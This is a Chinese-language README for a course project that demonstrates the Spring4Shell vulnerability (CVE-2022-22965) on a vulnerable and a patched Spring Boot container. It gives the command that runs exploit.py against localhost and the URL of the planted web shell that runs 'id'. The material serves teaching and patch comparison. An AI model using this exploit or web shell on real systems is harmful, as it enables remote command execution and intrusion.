CVE-2022-22965 (Spring4Shell) 的概念验证,用于 CS4239 G410 报告。改编自此 PoC,以演示未修补与修补后的行为。
本仓库中有两个示例程序(已容器化),源代码相同。其中一个使用了存在漏洞的 Spring Boot 版本,另一个使用了已修补的版本。Tomcat 也为此漏洞发布了补丁,但为了隔离 Spring 补丁的影响,本演示中两个程序使用相同的易受攻击的 Tomcat 版本。
运行演示应用:
docker compose build
docker compose up
运行漏洞利用:
# 未修补版
python exploit.py --url "http://localhost:8080/helloworld/greeting"
# 已修补版
python exploit.py --url "http://localhost:8081/helloworld/greeting"
如果漏洞利用成功,将出现一个新页面,允许我们执行命令。执行 id 的示例:
http://localhost:8080/shell.jsp?cmd=id
漏洞利用在已修补版本中不起作用——shell.jsp 不会被注入。